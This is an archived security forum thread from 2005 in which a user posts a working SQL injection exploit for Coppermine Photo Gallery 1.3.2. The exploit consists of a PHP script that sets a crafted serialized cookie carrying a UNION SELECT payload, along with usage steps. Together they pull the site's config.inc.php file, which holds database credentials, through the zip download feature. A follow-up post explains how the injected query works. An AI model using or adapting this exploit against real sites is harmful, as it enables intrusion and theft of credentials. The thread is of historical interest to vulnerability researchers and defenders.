Waraxe IT Security Portal
Login or Register
September 8, 2024
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 77
Members: 0
Total: 77
Full disclosure
[SYSS-2024-030]: C-MOR Video Surveillance - OS Command Injection (CWE-78)
[SYSS-2024-029]: C-MOR Video Surveillance - Dependency on Vulnerable Third-Party Component (CWE-1395)
[SYSS-2024-028]: C-MOR Video Surveillance - Cleartext Storage of Sensitive Information (CWE-312)
[SYSS-2024-027]: C-MOR Video Surveillance - Improper Privilege Management (CWE-269)
[SYSS-2024-026]: C-MOR Video Surveillance - Unrestricted Upload of File with Dangerous Type (CWE-434)
[SYSS-2024-025]: C-MOR Video Surveillance - Relative Path Traversal (CWE-23)
Backdoor.Win32.Symmi.qua / Remote Stack Buffer Overflow (SEH)
HackTool.Win32.Freezer.br (WinSpy) / Insecure CredentialStorage
Backdoor.Win32.Optix.02.b / Weak Hardcoded Credentials
Backdoor.Win32.JustJoke.2 1 (BackDoor Pro) / Unauthenticated Remote Command Execution
Backdoor.Win32.PoisonIvy. ymw / Insecure Credential Storage
[SYSS-2024-024]: C-MOR Video Surveillance - Improper Access Control (CWE-284)
[SYSS-2024-023]: C-MOR Video Surveillance - SQL Injection(CWE-89)
[SYSS-2024-022]: C-MOR Video Surveillance - Cross-Site Request Forgery (CWE-352)
[SYSS-2024-021]: C-MOR Video Surveillance - Persistent Cross-Site Scripting (CWE-79)
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Sql injection -> Effective Coppermine 1.3.2 SQL-injection exploit
Post new topicReply to topic View previous topic :: View next topic
Effective Coppermine 1.3.2 SQL-injection exploit
PostPosted: Mon Aug 15, 2005 8:01 am Reply with quote
normalization
Beginner
Beginner
Joined: Aug 15, 2005
Posts: 2
Location: Russia, Vladivostok




Vulnerabilities in Coppermine Photo Gallery 1.3.2:
Quote:
if (count($FAVPICS)>0) {
$favs = implode(",",$FAVPICS);
$select_columns = 'filepath,filename';
$result = db_query("SELECT $select_columns FROM {$CONFIG['TABLE_PICTURES']} WHERE approved = 'YES'AND pid IN ($favs)");
$rowset = db_fetch_rowset($result);
foreach ($rowset as $key => $row){
$filelist[] = $rowset[$key]['filepath'].$rowset[$key]['filename'];
}
}

And finally "$favs" is used directly in sql queries. Therefore sql injection can take place and it's exploitable.
Good news (for admin's and webmasters) is, that this kind of sql injection case is complicated to implement, because specific restricting factors. It needs to write special script or program, which uses COOKIE variables and
some blind sql injection technics. Not for scriptkiddies this time ...



How use it

Go to http://site.com/coppermine_directory
View C:\Documents and Settings\User\Cookies\user@site[1].txt and get cookie prefix (cpg132 in this sample):
Code:
cpg132_data
www.site.com/
1024
858934272
29735168
2623785632
29729133
*


Disconnect from internet, start local server, set $cookie_prefix variable and get URL on local server: http://site.com/index.php:
Code:
<?
// by Normalizaton
// URL for download config.inc.php in Zip archive:
// http://site.com/coppermine_directory/zipdownload.php

// Set prefix
$cookie_prefix = "cpg132"; // cpg131, cpg132
// usually not cpg11d, not cpg130
// SQL-injection
$FAVPICS = array(
"1,2) AND 1=2 UNION SELECT '../include/config.inc.ph'",
"CHAR(112"
);
$my_str = base64_encode(serialize($FAVPICS));
setcookie($cookie_prefix."_fav",$my_str,time()+3600*5); // 5 hours

echo "ok";
?>


View C:\Documents and Settings\User\Cookies\user@site[1].txt
Now cookie get corresponding cpg132_fav value

Finnaly stop your local server, connect to internet and get config.inc.php in zip archive by URL: http://site.com/coppermine_directory/zipdownload.php

That's all


Last edited by normalization on Mon Aug 15, 2005 8:31 am; edited 1 time in total
View user's profile Send private message
PostPosted: Mon Aug 15, 2005 8:27 am Reply with quote
normalization
Beginner
Beginner
Joined: Aug 15, 2005
Posts: 2
Location: Russia, Vladivostok




How it work

Quote:
if (count($FAVPICS)>0) {
// yes, cpg132_fav setted

$favs = implode(",",$FAVPICS);
// $favs = "1,2) AND 1=2 UNION SELECT '../include/config.inc.ph',CHAR(112";

$select_columns = 'filepath,filename';
$result = db_query("SELECT $select_columns FROM {$CONFIG['TABLE_PICTURES']} WHERE approved = 'YES'AND pid IN ($favs)");

// SELECT $select_columns FROM {$CONFIG['TABLE_PICTURES']}
// WHERE approved = 'YES' AND
// pid IN (1,2) AND 1=2
// UNION SELECT '../include/config.inc.ph',CHAR(112)

$rowset = db_fetch_rowset($result);
foreach ($rowset as $key => $row){

$filelist[] = $rowset[$key]['filepath'].$rowset[$key]['filename'];
// $filelist[0] = "../include/config.inc.ph"."p";

}
}
View user's profile Send private message
Effective Coppermine 1.3.2 SQL-injection exploit
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.109 Seconds